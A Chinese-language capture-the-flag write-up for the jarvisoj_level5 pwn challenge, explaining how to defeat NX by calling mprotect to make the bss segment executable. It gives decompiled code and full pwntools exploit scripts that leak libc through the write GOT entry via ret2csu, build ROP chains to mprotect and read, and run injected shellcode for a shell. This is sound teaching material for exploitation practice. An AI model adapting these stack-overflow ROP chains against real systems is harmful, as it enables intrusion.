这一种办法一般来说不是很实用 当个额外的知识点扩展就好了 难免有的新生赛想考
在程序开启了NX保护的前提下 我们没有办法通过在bss段写入shellcode后覆盖ret addr为shellcode首地址来实现shell
这是因为bss段此时的执行权限为rw-p
意为可读可写 但不可执行 所以位于bss段的shellcode无法发挥作用
但是在c语言中存在一个mprotect函数 其作用为把自start开始的、长度为len的内存区的保护属性修改为prot指定的值
mprotect(const void *start, size_t len, int prot)
prot为7时 可以设置内存区域权限为rwx-p 即可读可写可执行 这样就能让shellcode起作用
下面来看一道例题加深理解
jarvisoj_level5 checksec看一下保护机制
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/chen/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
没开RELRO 但是开了NX
ida看一下伪代码
int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); return write(1 , "Hello, World!\n" , 0xE uLL); }
跟进一下vulnerable_function函数
ssize_t vulnerable_function () { char buf[128 ]; write(1 , "Input:\n" , 7uLL ); return read(0 , buf, 0x200 uLL); }
有一次栈溢出的机会 不同于其他经典的ret2libc题目 这题的plt表只有read和write函数 由于write函数泄露函数真实地址需要控制三个寄存器
所以这里用csu的办法
from pwn import *io = process("./pwn" ) context.log_level = "debug" context.arch = "amd64" context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./pwn" ) libc = ELF("./locate_libc2.23" ) io.recvuntil("Input:" ) back_addr = 0x4005e6 gadget1_addr = 0x400690 gadget2_addr = 0x4006AA write_got = elf.got['write' ] bss_addr = 0x600A88 +0x50 payload = cyclic(0x80 +0x8 )+p64(gadget2_addr) payload += p64(0 )+p64(1 )+p64(write_got)+p64(0x8 )+p64(write_got)+p64(1 )+p64(gadget1_addr) payload += cyclic(56 )+p64(back_addr) io.sendline(payload) write_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (write_addr)) libc_addr = write_addr - libc.sym['write' ] success(hex (libc_addr))
接下来就是构造mprotect函数来实现bss段的权限修改
同时解答一下pop rsi和pop rdx两条指令哪来的 这题是动态链接 二进制文件中是不存在这两条指令的
但是如果题目有提供libc文件 也是可以ROPgadget查找libc文件的指令 前提是我们获取了libc基址
io.recvuntil("Input:" ) mprotect_addr = libc_addr + libc.sym['mprotect' ] read_addr = libc_addr + libc.sym['read' ] rdi_addr = 0x4006b3 rdx_addr = libc_addr + 0x1b92 rsi_addr = libc_addr + 0x202f8 payload = cyclic(0x80 +0x8 )+p64(rdi_addr)+p64(0x600000 )+p64(rsi_addr)+p64(0x1000 )+p64(rdx_addr)+p64(7 )+p64(mprotect_addr)+p64(back_addr) io.sendline(payload)
gdb动调看一下mprotect函数是否生效
可以看到0x600000-0x601000的内存区域权限已经被修改为rwxp 可读可写可执行了
那么接下来我们构造read函数 并且将最后的返回地址设置为shellcode首地址 就可以获取shell
io.recvuntil("Input:" ) bss_addr = 0x600A88 +0x50 payload = cyclic(0x80 +0x8 )+p64(rdi_addr)+p64(0 )+p64(rsi_addr)+p64(bss_addr)+p64(rdx_addr)+p64(0x100 )+p64(read_addr)+p64(bss_addr) io.sendline(payload) shellcode = asm(shellcraft.sh()) io.send(shellcode) io.interactive()
当题目没有给我们libc文件的时候 这时候我们无法通过libc文件来获取pop rsi和pop rdx指令地址来构造rop链 这时候只能通过csu来
但是csu实现函数调用是使用call指令 call指令需要有一个类似于got表的地址链才能实现
比如: bss_addr(存放着main函数的地址) 这时候call bss_addr 就相当于执行main函数
所以我们跟上面一步相比 还需要多出一个read链来读入mprotect_addr
exp:
from pwn import *io = process("./pwn" ) context.log_level = "debug" context.arch = "amd64" context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./pwn" ) libc = ELF("./locate_libc2.23" ) io.recvuntil("Input:" ) back_addr = 0x4005e6 gadget1_addr = 0x400690 gadget2_addr = 0x4006AA write_got = elf.got['write' ] bss_addr = 0x600A88 +0x50 payload = cyclic(0x80 +0x8 )+p64(gadget2_addr) payload += p64(0 )+p64(1 )+p64(write_got)+p64(0x8 )+p64(write_got)+p64(1 )+p64(gadget1_addr) payload += cyclic(56 )+p64(back_addr) io.sendline(payload) write_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (write_addr)) libc_addr = write_addr - libc.sym['write' ] success(hex (libc_addr)) mprotect_addr = libc_addr + libc.sym['mprotect' ] read_got = elf.got['read' ] io.recvuntil("Input:" ) payload = cyclic(0x80 +0x8 )+p64(gadget2_addr) payload += p64(0 )+p64(1 )+p64(read_got)+p64(0x8 )+p64(bss_addr)+p64(0 )+p64(gadget1_addr) payload += cyclic(56 )+p64(back_addr) io.sendline(payload) io.send(p64(mprotect_addr)) io.recvuntil("Input:" ) payload = cyclic(0x80 +0x8 )+p64(gadget2_addr) payload += p64(0 )+p64(1 )+p64(bss_addr)+p64(7 )+p64(0x1000 )+p64(0x600000 )+p64(gadget1_addr) payload += cyclic(56 )+p64(back_addr) io.sendline(payload) io.recvuntil("Input:" ) payload = cyclic(0x80 +0x8 )+p64(gadget2_addr) payload += p64(0 )+p64(1 )+p64(read_got)+p64(0x100 )+p64(bss_addr+0x8 )+p64(0 )+p64(gadget1_addr) payload += cyclic(56 )+p64(bss_addr+0x8 ) io.sendline(payload) shellcode = asm(shellcraft.sh()) io.send(shellcode) io.interactive()